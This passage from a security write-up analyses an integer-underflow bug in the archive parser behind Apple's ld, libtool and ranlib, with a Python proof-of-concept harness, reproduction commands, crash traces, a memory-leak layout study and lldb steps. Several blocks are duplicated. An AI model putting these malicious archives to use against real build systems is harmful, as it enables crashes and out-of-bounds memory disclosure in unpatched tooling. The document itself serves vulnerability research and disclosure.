return ("/Applications/Xcode.app/Contents/Developer/Toolchains/"
"XcodeDefault.xctoolchain/usr/bin/ld")
def sdk_path() -> str:
try:
return subprocess.check_output(["xcrun", "--sdk", "macosx", "--show-sdk-path"],
text=True).strip()
except Exception:
return ""
def run_ld(arc: str) -> int:
cmd = [xcode_ld(), "-ld_new", "-arch", "arm64", "-platform_version", "macos",
"14.0", "14.0", "-syslibroot", sdk_path(), "-r", arc, "-o", "/tmp/oe_out.o"]
print(f"[*] ld -> {os.path.basename(arc)}")
p = subprocess.run(cmd, capture_output=True, text=True)
return p.returncode
def run_libtool(arc: str) -> int:
cmd = ["/usr/bin/libtool", "-static", "-o", "/tmp/oe_out.a", arc]
print(f"[*] libtool -> {os.path.basename(arc)}")
p = subprocess.run(cmd, capture_output=True, text=True)
if p.stderr.strip():
print(" stderr: " + p.stderr.strip().splitlines()[-1][:100])
return p.returncode
def run_ranlib(arc: str) -> int:
tmp = "/tmp/oe_ranlib.a"
shutil.copy(arc, tmp)
print(f"[*] ranlib -> {os.path.basename(arc)}")
return subprocess.run(["/usr/bin/ranlib", tmp], capture_output=True).returncode
def report(chain: str, rc: int) -> None:
verdict = {139: "SIGSEGV", 134: "SIGABRT"}.get(rc)
if verdict:
print(f"[+] {chain}: VULNERABLE — {verdict} (exit {rc})")
elif rc == 1:
print(f"[-] {chain}: clean error (exit 1) — patched binary?")
else:
print(f"[?] {chain}: exit {rc}")
def main() -> int:
ap = argparse.ArgumentParser(description="Archive Entry::name() underflow PoCs")
ap.add_argument("--target", choices=["ld", "libtool", "ranlib", "all"], default="all")
ap.add_argument("--generate-only", action="store_true")
args = ap.parse_args()
os.makedirs(OUT, exist_ok=True)
f_sig = build_sigsegv(os.path.join(OUT, "ld_sigsegv.a"))
f_bad = build_badalloc(os.path.join(OUT, "libtool_badalloc.a"))
f_leak = build_leak(os.path.join(OUT, "leak_layout.a"))
for f in (f_sig, f_bad, f_leak):
print(f"[+] wrote {f} ({os.path.getsize(f)} bytes)")
if args.generate_only:
return 0
if args.target in ("ld", "all"):
report("ld -ld_new -r ld_sigsegv.a", run_ld(f_sig))
report("ld -ld_new -r leak_layout.a", run_ld(f_leak))
if args.target in ("libtool", "all"):
report("libtool -static libtool_badalloc.a", run_libtool(f_bad))
report("libtool -static leak_layout.a", run_libtool(f_leak))
if args.target in ("ranlib", "all"):
report("ranlib leak_layout.a", run_ranlib(f_leak))
return 0
if __name__ == "__main__":
sys.exit(main())
Step 3: Chain 1 — ld SIGSEGV, Walked Instruction by Instruction
LD=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld
SDK=$(xcrun --sdk macosx --show-sdk-path)
"$LD" -ld_new -arch arm64 -platform_version macos 14.0 14.0 \
-syslibroot "$SDK" -r generated/ld_sigsegv.a -o /tmp/out.o
echo $?
LD=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld
SDK=$(xcrun --sdk macosx --show-sdk-path)
"$LD" -ld_new -arch arm64 -platform_version macos 14.0 14.0 \
-syslibroot "$SDK" -r generated/ld_sigsegv.a -o /tmp/out.o
echo $?
The execution flow, stage by stage:
- mmap. ld maps the 16,384-byte file read-only at a page-aligned address; the next page is unmapped. The file ends exactly at the mapping’s end because the size is page-aligned.
- Dispatch. parseAllFiles → SliceParser::parse → parseArchiveFile → Archive::forEachMember. Member-1 (__.SYMDEF) is consumed normally. Member-2’s header validates (ar_fmag intact).
- The backwards walk. Entry::name() decrements from index 15 through 0, wraps at start[-1], and continues through member-1’s 64 space bytes, its header padding, and further — a handful of OOB reads that terminate on member-1’s `\n terminator. The returned view: pointer = ar_name (valid), length ≈ 2⁶⁴ − 80.
- The gate. UnsafeHeader::isObjectFile(member.contents) is false — member-2’s content starts with the bitcode magic \xDE\xC0\x17\x0B — so the lambda takes the bitcode branch and calls asprintf(“%s[%u](%.*s)”, path, slice, (int)name.size(), name.data()).
- Truncation. r8d = dword[name.size] keeps the low 32 bits of the poisoned length.
- The C99 fallback. __vfprintf sees a negative precision and, per §7.21.6.1, treats it as absent; it calls strlen(name.data).
- The forward walk. _platform_strlen runs pcmpeqb over 16-byte chunks: the header is all spaces, `\n is non-NUL, the content is magic + Xs — every byte non-NUL to EOF.
- The fault. The first chunk past EOF touches the unmapped page. EXC_BAD_ACCESS, KERN_INVALID_ADDRESS, exit 139.
the crash report carries the layout proof:
"exception": { "type": "EXC_BAD_ACCESS", "signal": "SIGSEGV",
"subtype": "KERN_INVALID_ADDRESS at 0x0000000100438000" }
"vmRegionInfo": "0x100438000 is not in any region. Bytes after previous region: 1
mapped file 100428000-100438000 [64K] r--/r-- <- the malicious archive mmap
GAP OF 0x4000 BYTES <- fault
__TEXT 10043c000-100440000 [16K] r-x libcodedirectory.dylib"
"threads[0].frames":
#0 _platform_strlen + 72
#1 __vfprintf + 4717
#2 _vasprintf + 289
#3 asprintf + 160
#4 invocation function for block in ld::InputFiles::SliceParser::parseArchiveFile(...)
#5 mach_o::Archive::forEachMember(...)
#6 mach_o::Archive::forEachMachO(...)
"exception": { "type": "EXC_BAD_ACCESS", "signal": "SIGSEGV",
"subtype": "KERN_INVALID_ADDRESS at 0x0000000100438000" }
"vmRegionInfo": "0x100438000 is not in any region. Bytes after previous region: 1
mapped file 100428000-100438000 [64K] r--/r-- <- the malicious archive mmap
GAP OF 0x4000 BYTES <- fault
__TEXT 10043c000-100440000 [16K] r-x libcodedirectory.dylib"
"threads[0].frames":
#0 _platform_strlen + 72
#1 __vfprintf + 4717
#2 _vasprintf + 289
#3 asprintf + 160
#4 invocation function for block in ld::InputFiles::SliceParser::parseArchiveFile(...)
#5 mach_o::Archive::forEachMember(...)
#6 mach_o::Archive::forEachMachO(...)
Step 4: Chain 2 — libtool SIGABRT via std::bad_alloc
/usr/bin/libtool -static -o /tmp/out.a generated/libtool_badalloc.a
echo $?
/usr/bin/libtool -static -o /tmp/out.a generated/libtool_badalloc.a
echo $?
The flow diverges from Chain 1 at step 7: member-2’s trailing NUL stops strlen inside the file, asprintf succeeds (its output is the libtool warning below — the file’s own bytes echoed back), and the poisoned Member is stored in libtool’s inputs container. Then makeThinStaticLib re-iterates the inputs and calls memberNameAndTime, whose std::string tuple(member.name) asks operator new for the full poisoned length. No allocator can satisfy it; std::bad_alloc propagates uncaught to std::terminate.
Output:
libtool: warning: 'libtoolBadAlloc.a( 0 0 0 644 256 `
AAAA…' )' has no symbols <- the poisoned name printed: header + content echoed
libc++abi: terminating due to uncaught exception of type std::bad_alloc: std::bad_alloc
134 # 128 + SIGABRT
libtool: warning: 'libtoolBadAlloc.a( 0 0 0 644 256 `
AAAA…' )' has no symbols <- the poisoned name printed: header + content echoed
libc++abi: terminating due to uncaught exception of type std::bad_alloc: std::bad_alloc
134 # 128 + SIGABRT
"threads[0].frames":
#0 __pthread_kill
...
#9 operator new(unsigned long) (.cold.1)
#11 std::__1::basic_string<char,...>::basic_string<CString,0>(CString const&)
#12 other_tools::memberNameAndTime(mach_o::Archive::Member const&) <- libtool.cpp:459
#13 other_tools::libtool::makeThinStaticLib(...)
#14 other_tools::libtool::makeStaticLibrary(...)
"threads[0].frames":
#0 __pthread_kill
...
#9 operator new(unsigned long) (.cold.1)
#11 std::__1::basic_string<char,...>::basic_string<CString,0>(CString const&)
#12 other_tools::memberNameAndTime(mach_o::Archive::Member const&) <- libtool.cpp:459
#13 other_tools::libtool::makeThinStaticLib(...)
#14 other_tools::libtool::makeStaticLibrary(...)
Step 5: Chain 3 — ranlib
/usr/bin/ranlib is the same Mach-O binary dispatched by argv[0]; the crash backtrace is Chain 1’s asprintf chain verbatim:
cp generated/leak_layout.a /tmp/rl.a && /usr/bin/ranlib /tmp/rl.a; echo $? # 139
cp generated/leak_layout.a /tmp/rl.a && /usr/bin/ranlib /tmp/rl.a; echo $? # 139
Step 6: Chain 4 — Information Disclosure Across a Mapping Boundary
The disclosure variant tunes the forward walk to stop inside a neighbouring mapping instead of an unmapped page. The mmap placement study that produced the sweet spot:
| archive size | archive mmap | region immediately after | outcome |
| 4 KiB | 0x1003b5000-0x1003b6000 | rwx zero-filled (heap) | walk stops at first zero — no leak |
| 8 KiB | 0x1003b5000-0x1003b7000 | rwx zero-filled (heap) | no leak |
| 32 KiB | 0x1003b5000-0x1003bd000 | r-x __TEXT libcodedirectory.dylib | walk enters the dylib — bytes echoed to stderr |
| 64 KiB | (different base) | guard page | SIGSEGV, no output |
With the 32 KB archive, _platform_strlen crosses EOF into the dylib’s header and stops at the first NUL — the cputype field — so printf emits exactly five foreign bytes, twice:
"$LD" -ld_new -arch arm64 -platform_version macos 14.0 14.0 \
-syslibroot "$SDK" -r generated/leak_layout.a -o /tmp/out.o 2>&1 | tail -c 32 | xxd
"$LD" -ld_new -arch arm64 -platform_version macos 14.0 14.0 \
-syslibroot "$SDK" -r generated/leak_layout.a -o /tmp/out.o 2>&1 | tail -c 32 | xxd
(on the adjacent-mapping layout; on the guard-page layout the same file yields Chain 1's SIGSEGV — both outcomes prove the same walk):
000000c0: cffa edfe 0729 270a ....)'.
^^^^^^^^^^^^^^^^^^^ MH_MAGIC_64 (0xFEEDFACF little-endian) + low byte of CPU_TYPE_X86_64
000000c0: cffa edfe 0729 270a ....)'.
^^^^^^^^^^^^^^^^^^^ MH_MAGIC_64 (0xFEEDFACF little-endian) + low byte of CPU_TYPE_X86_64
The bytes are public constants; the primitive — a length-controlled OOB read from the archive’s own mapping, printed by the tool into stderr, twice, because the lambda formats the name once per asprintf call — is the finding. The measured disclosure spectrum across the PoC series:
| PoC | archive size | OOB walk | stderr volume |
| bitcode variant, 4 KB | 4,096 | 134 bytes to first NUL | 286 B |
| bitcode variant, 1 MB | 1 MB | 1 MB | ~2 MB |
| bitcode variant, 16 MB | 16 MB | 16 MB | ~32 MB |
| no-NUL page-aligned | 16 KB | to EOF, then unmapped | SIGSEGV |
| 32 KB layout variant | 32 KB | EOF + 5 bytes into dylib | leak ×2 |
Step 7: Verify the Underflow Directly Under lldb
Conditional breakpoint at name() entry (firing only when all sixteen name bytes are spaces), second breakpoint at loop exit (0x1000148d2):
(lldb) breakpoint set --name __ZNK6mach_o7Archive5Entry4nameEv
(lldb) continue
(lldb) memory read --size 1 --format c --count 16 $rdi # confirm 16 spaces
(lldb) breakpoint set -a 0x1000148d2
(lldb) continue
(lldb) register read rdx
(lldb) breakpoint set --name __ZNK6mach_o7Archive5Entry4nameEv
(lldb) continue
(lldb) memory read --size 1 --format c --count 16 $rdi # confirm 16 spaces
(lldb) breakpoint set -a 0x1000148d2
(lldb) continue
(lldb) register read rdx
All four crash chains and the register traces were re-verified on 2026-09-02 against the shipping ld-1266.8; every run is deterministic.
Conclusion
The vulnerability analysed here is instructive precisely because it is unglamorous: one unguarded decrement in a name-trimming loop, the kind of code that has been rewritten in every ar implementation since the 1970s. The technical insight is that the loop’s contract was inverted — it treats “all spaces” as “keep looking backwards” where the format defines it as “no name” — and that a string_view with a valid pointer and a corrupt length is more dangerous than a dangling pointer, because every downstream consumer has been trained to trust it. Three different libraries turned that single corrupted scalar into a fault, a disclosure, and an abort without any of them misbehaving individually, and the division of behaviour between them is an accident of which printf implementation each one links. The security principles violated are equally plain. Validation and parsing must agree, because valid() blessed a header whose name field was undecodable. Unsigned loop indices need explicit bounds rather than sentinel-dependent termination when the terminator can be absent from attacker data. And library boundaries must not be the only line of defence: the poison survived a structure copy, a container, and a re-iteration before reaching sinks whose safety depended on formatter choice rather than on any enforced invariant.
References
- apple-oss-distributions/dyld, mach_o/Archive.cpp — vulnerable in main as of 2026-09-02: https://github.com/apple-oss-distributions/dyld
- CWE-191 Integer Underflow: https://cwe.mitre.org/data/definitions/191.html
- CWE-125 Out-of-bounds Read: https://cwe.mitre.org/data/definitions/125.html
- C99 §7.21.6.1 (negative %.*s precision ≡ precision omitted), ISO/IEC 9899:1999
- <ar.h> — archive member header format
- Precedent class: memory-safety CVEs in archive and Binutils parsers (e.g. libarchive CVE-2015-2304; the recurring series of Binutils OOB-read advisories)